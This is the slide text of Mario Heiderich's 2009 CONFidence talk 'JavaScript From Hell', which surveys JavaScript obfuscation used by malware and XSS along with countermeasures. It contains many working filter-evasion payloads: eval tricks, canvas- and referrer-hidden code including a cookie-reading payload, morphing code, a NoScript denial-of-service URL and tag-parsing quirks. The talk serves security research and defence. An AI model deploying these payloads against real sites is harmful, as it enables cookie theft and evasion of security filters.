JavaScript From Hell - CONFidence 2.0 2009

JavaScript
From Hell
A Talk by Mario Heiderich
Confidence 2.0 Warsaw 2009 AD

The Talk
●
Unfriendly JavaScript
●
A short travel in time
●
Obfuscation today
●
Possible counter measures
●
The future

Credits First
●
Gareth Heyes (buy him a beer – here's here rite now)
●
Eduardo Vela
●
David Lindsay
●
Yosuke Hasegawa
●
And many others...

History Lessons
●
The origin of JavaScript in 1995
●
Netscape Navigator 2.0
●
LiveScript
●
ECMA 262
●
JScript
●
Implementations and Revisions
● Browserwars

Shadowy Existence
●
Frowned upon for a long time
same with cookies :)
●
Users trained for switching off JavaScript
●
Vulnerable browsers
●
Spam, Phishing, Malware
●
Until a renaissance took place...

Renaissance
●
The “New Web“
●
Websites become applications
●
Rich Internet Applications
●
Widgets and other out-of-band applications
●
XMLHttpRequest paves the way
●
AJAX and the Web 2.0

Today
● JavaScript and JScript moved closer
● ActionScript and other implementations
● V8, SpiderMonkey, Tamarin... first IE9 versions soon to
come
● JavaScript 1.7, 1.8, 1.8.1 and 2.0
● Complex and super-dynamic scripting language
● Almost irreplace for modern webapps

JavaScript and Bad-Ware
●
JavaScript and browser exploits
●
Websites from Hell
●
JavaScript in PDFs
●
XSS, CSRF and client side SQLI
●
NoScript, IE8 XSS Filter, Webkit XSS Filter
●
Content Matching, Live-Deobfuscation, Sandboxing

String obfuscation
●
It's full of evals
●
eval(), execScript(), Function(), Script()
● _FirebugConsole.evaluate()
●
Entities, special chars and shortcuts
●
XOR, “Encryption“ and Base64
●
Examples

Examples
● µ = self ['x61lert'], µ(1)
● location['href']=
'javascript:u0061l'+
String.fromCharCode(101)+'rt(1)'
● top[<>alert</>](1)
● eval(unescape('%61')+/lert(1)/[-1])

Solutions?
●
String obfuscation easy to break
●
Pattern analysis
●
Sandboxing
●
External tools like Malzilla, Hackvertor
●
Code analysis w/o execution
● toSource(int formatting)

A small Crash-Course
●
Take some heavily obfuscated code
●
Maybe generated by commercial obfuscators
●
Break it
●
Realize string obfuscation can't work
●
Demo

Let's do this
●
https://www.2checkout.com/static/checkout/javascript/us
● u0009 f{f`9#evm`wjlu006d+slu0070pjaofp*#x
u0075bo8u0009~#`bw`k#+f*u0023x#~u0009~ qfwvqm#!!8
u007e/ u0009 olbg@lnsp9#evmu0060wjlm+*#x
●
Deobfuscation in FireBug
● a=function(){%code%}
● a.toSource(1)
●
Replace last eval by an alert

Limitations and alternatives
●
String Obfuscated Code == clear text
●
As long as we have an eval
●
Alternatives
●
Changing the code structure
●
Use browser and implementation bugs
●
Use less-/undocumented features

Examples
●
Using regular expressions as functions
● (/padding/)(/payload/)
●
DOM Objekte can be functions too
● !location(payload)
●
Destructuring assignment
● [,,padding]=[,,payload]
● [,location]=[,'javascript:alert(1)']
● [,a,a(1)]=[,alert]

More Examples
●
Execute code without parenthesis
● {x:window.onunload=alert}
● ''+{toString:alert}
●
Prototypes and call()
● (1,[].sort)()[[].join.call('at','ler')](1)
●
Empty return values
● {x:top['al'+new Array+'ert'](1)}

Advanced String Obfuscation
●
Generate strings from multibyte characters
● String.charCodeAt(' 朱 ').toString(16)
●
Generate strings from numbers
● top[(Number.MAX_VALUE/45268).toString(36)
.slice(15,19)]
((Number.MAX_VALUE/99808).toString(36)
.slice(71,76)+'("XSS")')
●
Reverse base64
● window['a'+btoa(' êí')](1)•

The Code
●
Generating strings from RGB color values
function a() {
c=document.getElementById("c"),x=c.getContext("2d"),
i=document.getElementById("i")
x.drawImage(i, 0, 0),d=x.getImageData(0, 0, 3, 3),
p=''
for(y in d.data) {
if(d.data[y] > 0 && d.data[y] < 255) {
p+=String.fromCharCode(d.data[y])
}
}
eval(p)
}

Or even more
●
CSS color values, background URIs etc. etc.
● document.styleSheets[0].cssRules[0]...
●
Using image binaries to hide payload
●
Canvas helps a lot
● escape(atob(document.createElement('canvas')
.toDataURL('image/jpeg').slice(23)))

Talking about Canvas
●
Get binary same-domain image data via JavaScript
●
Making use of the toDataURL() method
●
Like this
● document.createElement('canvas')
.toDataURL('image/jpeg')
●
Think Captcha – or just plain payload obfuscation

Payload via TinyURL
●
Payload from base64-ed URL suffix
●
Hidden in the referrer
●
http://tinyurl.com/YWxlcnQoZG9jdW1lbnQuY29va2llKQ
● eval(atob(document.referrer.split(///)[3]))

Strings made out of Nothing
●
AKA No-Alnum Scene“ :)„
●
Up- and downcast
●
{}+'' becomes „[object Object]“
●
!''+'' becones „false“
●
-~'' becomes 1 and -~-~'' becoms 2

Retrieving DOM Objects
●
Hard to detect payload execution
●
Payload hidden in DOM variables
●
Examples
● (1,[]['sort'])()['alert'](1)
● [].constructor.constrcutor()()['alert'](1)

Constructors and More
●
Some examples
●
Perfect for testing against sandboxes
● /./.__proto__.__proto__.constructor(alert)(1)
● Text.constructor([alert][0])(1)
● Window.__parent__[/alert/.source](1)
● Attr.__proto__.constructor.apply(0,[alert])(1)
● XULCommandEvent.__parent__

RTL/LTR Obfuscation
●
RTL/LTR Characters can be utilized to completely
destroy the code readability
●
Hard to spot – and many variations

Morphing Code
●
Code changes each time being delivered
●
JavaScript generates morphing JavaScript
●
Payload source again is the DOM
●
Base64 from document.body.innerHTML
●
Looping over window
●
etc. etc..

Example
●
Own prototype
● y=[[x=btoa('alert(1)')]
+''.split('',x.length),z=''];
for(var i in top) z+=btoa(i+top[i]
+Math.random(delete y[0]))
for(var i=0;i<x.length;i++)
y.push('z['+z.indexOf(x[i])+']')
eval('eval(atob('+y.join('+').slice(2)+'))')

Another Example
●
Gareth Heyes' Hackvertor
●
http://www.businessinfo.co.uk/labs/hackvertor/hackverto

How to detect?
●
Almost impossible
●
Payload stays hidden even if the trigger was found
●
Sandboxing and runtime-analysis
●
See NoScript and others
●
Limitations and new risks
●
Attacks against the sandbox, data leakage, DoS

DoS against NoScript
http://www.spiegel.de/politik/ausland/0,1518,650897
,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
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,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
,,,,,,,,,,,,,,,,,,,,,,,,, times ~8000
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,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,alert(1),0
0.html

JavaScript of tomorrow
●
More features
●
Even more dynamic and slim code
●
Let Statements, Generator Expressions, more native data
types, XML, more DOM objects and methods
●
Operator overloading
●
Operator Object, first drafts around for quite some time

Examples
●
Expression Closures
● (function()alert(1))()
● (function($)$(1))(alert)
●
Generator Expressions
● for([]in[$=alert])$(2)
● $=[(alert)for([]in[0])][0],$(1)
●
Iterators
● Iterator([$=alert]).next()[1],$(1)

The User Agents
●
Native Client
●
WebGL
●
WebOS using Google FS and seemlessly integrated
Chrome
●
DOM Storage and file system access
●
Back to the fat client

Coming up
●
Malware still using rather immature techniques
●
String obfusc. all over the place
●
Generators for really obfuscated code
●
A challenge for WAF vendors and AVs
●
More code analysis and sandboxing

Questions and Comments
● Feedback welcome
● Even after talk and event
● mario.heiderich@gmail.com
● http://mario.heideri.ch
● http://twitter.com/0x6D6172696F

Goodies!
●
Weird labels in Opera
● <script>=alert;(1)</script>͞ ͞
● <script> =alert,0? =1: (2)</script>⌃․ ․ ⌃․
● <script>ۘ=alert,ۘ(3)</script>
●
A Firefox special - tags inside closing tags
●
No > is used to close a tag for FF – enabling this;
● </p/<img/src=! onerror=alert(1)>

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JavaScript From Hell - CONFidence 2.0 2009